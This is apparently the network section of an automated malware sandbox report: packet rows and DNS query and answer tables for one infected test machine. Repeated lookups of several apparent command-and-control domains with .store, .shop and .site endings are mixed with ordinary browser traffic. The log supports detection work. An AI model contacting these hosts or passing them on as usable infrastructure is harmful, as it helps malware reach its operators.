Oct 30, 2024 00:21:31.148248911 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148305893 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.148328066 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148360014 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.148377895 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.148511887 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148526907 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148580074 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.148587942 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148627043 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.148931026 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148946047 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.148997068 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149004936 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149331093 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149369001 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149388075 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149422884 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149430037 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149468899 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149487972 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149705887 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149722099 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149770975 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.149779081 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.149813890 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150122881 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150139093 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150192976 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150201082 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150233030 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150336027 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150350094 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150399923 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150407076 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150440931 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150588989 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150605917 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150655985 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.150664091 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.150696993 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151050091 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151066065 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151113987 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151120901 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151154041 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151227951 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151243925 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151288033 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151294947 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151330948 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151731968 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151755095 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151787996 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151794910 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:31.151823044 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:31.151840925 CET	59803	443	192.168.2.5	185.199.111.133

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 00:20:01.092753887 CET	192.168.2.5	1.1.1.1	0x602a	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.109097958 CET	192.168.2.5	1.1.1.1	0x4a0a	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.121793985 CET	192.168.2.5	1.1.1.1	0xd068	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.137566090 CET	192.168.2.5	1.1.1.1	0xa4ea	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.150676966 CET	192.168.2.5	1.1.1.1	0x9abb	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.123341084 CET	192.168.2.5	1.1.1.1	0x21b7	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.147586107 CET	192.168.2.5	1.1.1.1	0x12df	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.159818888 CET	192.168.2.5	1.1.1.1	0xd82f	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.176795006 CET	192.168.2.5	1.1.1.1	0xca17	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:27.862747908 CET	192.168.2.5	1.1.1.1	0x2069	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.419651985 CET	192.168.2.5	1.1.1.1	0x81ee	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.871444941 CET	192.168.2.5	1.1.1.1	0x2b2c	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.886571884 CET	192.168.2.5	1.1.1.1	0xab96	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.904113054 CET	192.168.2.5	1.1.1.1	0xe080	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:30.562719107 CET	192.168.2.5	1.1.1.1	0x92f9	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:33.199749947 CET	192.168.2.5	1.1.1.1	0xe260	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:33.273814917 CET	192.168.2.5	1.1.1.1	0xcd98	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:21:34.175725937 CET	192.168.2.5	1.1.1.1	0xf245	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.176227093 CET	192.168.2.5	1.1.1.1	0xe60f	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.197139025 CET	192.168.2.5	1.1.1.1	0x9048	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.202661991 CET	192.168.2.5	1.1.1.1	0x465	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.208941936 CET	192.168.2.5	1.1.1.1	0x9834	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 30, 2024 00:21:34.220865011 CET	192.168.2.5	1.1.1.1	0x2cc1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:21:36.649446964 CET	192.168.2.5	1.1.1.1	0xbb32	Standard query (0)	ponintnykqwm.shop	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.662081957 CET	192.168.2.5	1.1.1.1	0x7dd8	Standard query (0)	seallysl.site	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.962115049 CET	192.168.2.5	1.1.1.1	0x2dc7	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.962490082 CET	192.168.2.5	1.1.1.1	0xdd83	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.973237038 CET	192.168.2.5	1.1.1.1	0x4752	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.996401072 CET	192.168.2.5	1.1.1.1	0x9c0d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.996942997 CET	192.168.2.5	1.1.1.1	0xb506	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.016309023 CET	192.168.2.5	1.1.1.1	0x2ff3	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 00:21:37.038539886 CET	192.168.2.5	1.1.1.1	0xefd	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:21:37.727189064 CET	192.168.2.5	1.1.1.1	0xfc74	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.727538109 CET	192.168.2.5	1.1.1.1	0x2276	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.762526989 CET	192.168.2.5	1.1.1.1	0x7ff6	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.783951044 CET	192.168.2.5	1.1.1.1	0x6d42	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:21:38.601829052 CET	192.168.2.5	1.1.1.1	0x2e13	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:38.613168001 CET	192.168.2.5	1.1.1.1	0xca42	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:38.622951031 CET	192.168.2.5	1.1.1.1	0xbb19	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:00.482819080 CET	192.168.2.5	1.1.1.1	0x678d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:00.685323000 CET	192.168.2.5	1.1.1.1	0xbd01	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.800647974 CET	192.168.2.5	1.1.1.1	0xf60a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:00.800825119 CET	192.168.2.5	1.1.1.1	0xec98	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.801623106 CET	192.168.2.5	1.1.1.1	0xabaa	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.859127045 CET	192.168.2.5	1.1.1.1	0x101b	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:00.860394001 CET	192.168.2.5	1.1.1.1	0x27a9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:00.869900942 CET	192.168.2.5	1.1.1.1	0x6be8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.033866882 CET	192.168.2.5	1.1.1.1	0x1fee	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.055692911 CET	192.168.2.5	1.1.1.1	0x1fee	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.640872002 CET	192.168.2.5	1.1.1.1	0x3d74	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.654462099 CET	192.168.2.5	1.1.1.1	0xb7e0	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.784073114 CET	192.168.2.5	1.1.1.1	0x872b	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.784260988 CET	192.168.2.5	1.1.1.1	0x2b31	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.857392073 CET	192.168.2.5	1.1.1.1	0x1689	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.858701944 CET	192.168.2.5	1.1.1.1	0x42af	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:01.859158993 CET	192.168.2.5	1.1.1.1	0x373b	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:01.891663074 CET	192.168.2.5	1.1.1.1	0x5e70	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:01.936127901 CET	192.168.2.5	1.1.1.1	0x5e70	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:02.864547968 CET	192.168.2.5	1.1.1.1	0x6867	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.065730095 CET	192.168.2.5	1.1.1.1	0x815	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.084575891 CET	192.168.2.5	1.1.1.1	0xe112	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.099515915 CET	192.168.2.5	1.1.1.1	0x33b2	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.689441919 CET	192.168.2.5	1.1.1.1	0x5ba2	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.710352898 CET	192.168.2.5	1.1.1.1	0x2de5	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:03.738758087 CET	192.168.2.5	1.1.1.1	0x607e	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:05.403003931 CET	192.168.2.5	1.1.1.1	0xc000	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.403003931 CET	192.168.2.5	1.1.1.1	0x7210	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.403309107 CET	192.168.2.5	1.1.1.1	0xac69	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.413291931 CET	192.168.2.5	1.1.1.1	0x9994	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.413547039 CET	192.168.2.5	1.1.1.1	0x5202	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.413810015 CET	192.168.2.5	1.1.1.1	0x9808	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.422362089 CET	192.168.2.5	1.1.1.1	0xe480	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Oct 30, 2024 00:22:05.423170090 CET	192.168.2.5	1.1.1.1	0x844a	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:05.424683094 CET	192.168.2.5	1.1.1.1	0xa310	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Oct 30, 2024 00:22:05.432394981 CET	192.168.2.5	1.1.1.1	0x4d64	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.432606936 CET	192.168.2.5	1.1.1.1	0x4b72	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.441420078 CET	192.168.2.5	1.1.1.1	0xb62c	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.442475080 CET	192.168.2.5	1.1.1.1	0xa5ea	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:05.450831890 CET	192.168.2.5	1.1.1.1	0xc569	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Oct 30, 2024 00:22:05.451802969 CET	192.168.2.5	1.1.1.1	0x3c5c	Standard query (0)	twitter.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 00:20:01.103576899 CET	1.1.1.1	192.168.2.5	0x602a	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.119656086 CET	1.1.1.1	192.168.2.5	0x4a0a	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.135406971 CET	1.1.1.1	192.168.2.5	0xd068	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.148526907 CET	1.1.1.1	192.168.2.5	0xa4ea	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.164633036 CET	1.1.1.1	192.168.2.5	0x9abb	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:20:01.164633036 CET	1.1.1.1	192.168.2.5	0x9abb	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.141746998 CET	1.1.1.1	192.168.2.5	0x21b7	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.157371998 CET	1.1.1.1	192.168.2.5	0x12df	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.174105883 CET	1.1.1.1	192.168.2.5	0xd82f	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:16.186930895 CET	1.1.1.1	192.168.2.5	0xca17	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:27.874247074 CET	1.1.1.1	192.168.2.5	0x2069	No error (0)	github.com		140.82.121.3	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.428642988 CET	1.1.1.1	192.168.2.5	0x81ee	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.428642988 CET	1.1.1.1	192.168.2.5	0x81ee	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.428642988 CET	1.1.1.1	192.168.2.5	0x81ee	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.428642988 CET	1.1.1.1	192.168.2.5	0x81ee	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.882332087 CET	1.1.1.1	192.168.2.5	0x2b2c	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.897103071 CET	1.1.1.1	192.168.2.5	0xab96	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:29.913263083 CET	1.1.1.1	192.168.2.5	0xe080	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:30.572905064 CET	1.1.1.1	192.168.2.5	0x92f9	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:33.192250013 CET	1.1.1.1	192.168.2.5	0x41dd	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:33.208960056 CET	1.1.1.1	192.168.2.5	0xe260	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.183547974 CET	1.1.1.1	192.168.2.5	0xf245	No error (0)	youtube.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.184323072 CET	1.1.1.1	192.168.2.5	0xe60f	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:34.184323072 CET	1.1.1.1	192.168.2.5	0xe60f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.204838991 CET	1.1.1.1	192.168.2.5	0x9048	No error (0)	youtube.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.210697889 CET	1.1.1.1	192.168.2.5	0x465	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:34.216552019 CET	1.1.1.1	192.168.2.5	0x9834	No error (0)	youtube.com			28	IN (0x0001)	false
Oct 30, 2024 00:21:34.228028059 CET	1.1.1.1	192.168.2.5	0x2cc1	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 00:21:36.660401106 CET	1.1.1.1	192.168.2.5	0xbb32	Name error (3)	ponintnykqwm.shop	none	none	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.677345037 CET	1.1.1.1	192.168.2.5	0x7dd8	No error (0)	seallysl.site		104.21.43.145	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.677345037 CET	1.1.1.1	192.168.2.5	0x7dd8	No error (0)	seallysl.site		172.67.180.76	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.971532106 CET	1.1.1.1	192.168.2.5	0xdd83	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.971532106 CET	1.1.1.1	192.168.2.5	0xdd83	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.971594095 CET	1.1.1.1	192.168.2.5	0x2dc7	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.982791901 CET	1.1.1.1	192.168.2.5	0x4752	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:36.983831882 CET	1.1.1.1	192.168.2.5	0x63a4	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:36.983831882 CET	1.1.1.1	192.168.2.5	0x63a4	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.006597996 CET	1.1.1.1	192.168.2.5	0x9c0d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.007205009 CET	1.1.1.1	192.168.2.5	0xb506	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.734666109 CET	1.1.1.1	192.168.2.5	0x2276	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:37.734666109 CET	1.1.1.1	192.168.2.5	0x2276	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.734797955 CET	1.1.1.1	192.168.2.5	0xfc74	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:37.734797955 CET	1.1.1.1	192.168.2.5	0xfc74	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:37.769623995 CET	1.1.1.1	192.168.2.5	0x7ff6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:38.611107111 CET	1.1.1.1	192.168.2.5	0x2e13	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:38.611107111 CET	1.1.1.1	192.168.2.5	0x2e13	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:21:38.611107111 CET	1.1.1.1	192.168.2.5	0x2e13	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:38.622390985 CET	1.1.1.1	192.168.2.5	0xca42	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:21:38.632415056 CET	1.1.1.1	192.168.2.5	0xbb19	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 30, 2024 00:22:00.477267981 CET	1.1.1.1	192.168.2.5	0x845f	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.696238995 CET	1.1.1.1	192.168.2.5	0xbd01	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:00.696238995 CET	1.1.1.1	192.168.2.5	0xbd01	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.798177004 CET	1.1.1.1	192.168.2.5	0xbb07	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:00.798177004 CET	1.1.1.1	192.168.2.5	0xbb07	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.809966087 CET	1.1.1.1	192.168.2.5	0xec98	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.813054085 CET	1.1.1.1	192.168.2.5	0xabaa	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:00.879657984 CET	1.1.1.1	192.168.2.5	0x6be8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:00.879657984 CET	1.1.1.1	192.168.2.5	0x6be8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:00.879657984 CET	1.1.1.1	192.168.2.5	0x6be8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Oct 30, 2024 00:22:01.045905113 CET	1.1.1.1	192.168.2.5	0x1fee	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 00:22:01.066025019 CET	1.1.1.1	192.168.2.5	0x1fee	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
